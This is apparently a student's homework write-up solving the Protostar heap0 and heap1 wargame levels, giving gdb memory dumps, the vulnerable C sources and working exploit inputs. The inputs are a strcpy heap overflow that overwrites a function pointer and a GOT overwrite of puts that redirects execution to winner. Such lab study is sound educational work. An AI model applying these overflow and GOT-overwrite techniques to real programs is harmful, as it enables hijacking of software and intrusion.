Homework 5

Ng Tze Kean
Student number: 721370290002

April 14, 2024

Heap 0

Problem

We know that heap and stack are very similar, where the memory allocation is contiguous. We can use a similar approach to solving stack questions.

```
print &nowinner
>>>$1 = (void (*)(void)) 0x8048478 <nowinner>
print &winner
>>>$2 = (void (*)(void)) 0x8048464 <winner>
```

We can locate the address of the function `nowinner` through gdb which we will use to locate its address on the heap. We can be sure that the address is on the heap because of how the struct `fp` is created during runtime with malloc. Similar to the attack on stack, we will inject the target function address into the heap to redirect the call.

Idea and Attack process

```
info proc map
>>>process 2170
>>>cmdline = '/opt/protostar/bin/heap0'
>>>cwd = '/opt/protostar/bin'
>>>exe = '/opt/protostar/bin/heap0'
>>>Mapped address spaces:
>>>
>>>        Start Addr   End Addr       Size     Offset objfile
>>>         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/
    heap0
>>>         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/
    heap0
>>>         0x804a000  0x806b000    0x21000          0           [heap]
>>>        0xb7e96000 0xb7e97000     0x1000          0
>>>        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
>>>        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
>>>        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
>>>        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
>>>        0xb7fd9000 0xb7fdc000     0x3000          0
>>>        0xb7fe0000 0xb7fe2000     0x2000          0
>>>        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
>>>        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
>>>        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
>>>        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so

x/30x 0x804a000
>>>0x804a000:      0x00000000      0x00000049      0x61616161      0x00000000
>>>0x804a010:      0x00000000      0x00000000      0x00000000      0x00000000
>>>0x804a020:      0x00000000      0x00000000      0x00000000      0x00000000
>>>0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000
>>>0x804a040:      0x00000000      0x00000000      0x00000000      0x00000011
>>>0x804a050:      0x08048478      0x00000000      0x00000000      0x00020fa9
>>>0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
>>>0x804a070:      0x00000000      0x00000000
```

We find out the location address of the heap first and we examine the memory content to get the offset needed to inject the target address. On examination we find out that we need 72 bytes.

```
./heap0 $(python -c "print 'A'*72 + '\x64\x84\x04\x08'")
>>>data is at 0x804a008, fp is at 0x804a050
>>>level passed
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};
```

```
10
11 struct fp {
12   int (*fp)();
13 };
14
15 void winner()
16 {
17   printf("level passed\n");
18 }
19
20 void nowinner()
21 {
22   printf("level has not been passed\n");
23 }
24
25 int main(int argc, char **argv)
26 {
27   struct data *d;
28   struct fp *f;
29
30   d = malloc(sizeof(struct data));
31   f = malloc(sizeof(struct fp));
32   f->fp = nowinner;
33
34   printf("data is at %p, fp is at %p\n", d, f);
35
36   strcpy(d->name, argv[1]);
37
38   f->fp();
39
40 }
```

Heap 1

Problem

Here we see that there is no longer any function call pointer that we can exploit so we look in to the `internet` struct to see that there is a pointer to a string allocated on the heap.
We know that the heap is allocated in a contiguous manner, from the source code we can see that 4 malloc calls. Thus there should be 4 segments allocated on the heap in this order

```
{struct i1}
{i1->name}
{struct i2}
{i2->name}
```

Idea and Attack process

Similar to heap 0 we will first find the address location of the heap and we will examine what is in the heap. We supply 2 parameters "aaaa' and "bbbb' and we We will see the pointer to `i1->name` at address `0x804a00c` which does indeed contain our test input to the heap. Moving down the heap, we see the pointer for `i2->name` which we could try to modify.

```
info proc map
>>>process 2262
>>>cmdline = '/opt/protostar/bin/heap1'
>>>cwd = '/opt/protostar/bin'
>>>exe = '/opt/protostar/bin/heap1'
>>>Mapped address spaces:
>>>
>>>        Start Addr   End Addr       Size     Offset objfile
>>>          0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/
    heap1
>>>          0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/
    heap1
>>>          0x804a000  0x806b000    0x21000          0           [heap]
>>>        0xb7e96000 0xb7e97000     0x1000          0
>>>        0xb7e97000 0xb7fd5000   0x13e000          0        /lib/libc-2.11.2.so
>>>        0xb7fd5000 0xb7fd6000     0x1000   0x13e000        /lib/libc-2.11.2.so
>>>        0xb7fd6000 0xb7fd8000     0x2000   0x13e000        /lib/libc-2.11.2.so
>>>        0xb7fd8000 0xb7fd9000     0x1000   0x140000        /lib/libc-2.11.2.so
>>>        0xb7fd9000 0xb7fdc000     0x3000          0
>>>        0xb7fe0000 0xb7fe2000     0x2000          0
>>>        0xb7fe2000 0xb7fe3000     0x1000          0          [vdso]
>>>        0xb7fe3000 0xb7ffe000    0x1b000          0        /lib/ld-2.11.2.so
>>>        0xb7ffe000 0xb7fff000     0x1000    0x1a000        /lib/ld-2.11.2.so
>>>        0xb7fff000 0xb8000000     0x1000    0x1b000        /lib/ld-2.11.2.so

x/20x 0x804a000
>>>0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
>>>0x804a010:      0x00000000      0x00000011      0x61616161      0x00000000
>>>0x804a020:      0x00000000      0x00000011      0x00000002      0x0804a038
>>>0x804a030:      0x00000000      0x00000011      0x62626262      0x00000000
>>>0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000
```

Now that we have identified that we can potentially overflow the buffer, we try to inject the attack string with the target function. We can see from the heap that there is a need to write at least 20bytes of character before we can modify the pointer.
Since we can write to any memory address with `strcpy` we can modify the GOT table such that instead of the `puts` function being called in `main+168` the program calls the `winner` function instead. We now also try to find the address location of `puts`.

```
print &winner
>>>$1 = (void (*)(void)) 0x8048494 <winner>

objdump -R heap1 | grep puts
>>>08049774 R_386_JUMP_SLOT   puts
```

We now finally call the program with the offset and the 2 address of the function that we want to call. The first address is the `puts` function and the second is the function `winner` which we want to modify in place of the `puts` address in the GOT table.

```
./heap1 `python -c "print 'A' * 20 + '\x74\x97\x04\x08'"` `python -c "print '\x94\
    x84\x04\x08'"`
>>>and we have a winner @ 1713043778
```

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
```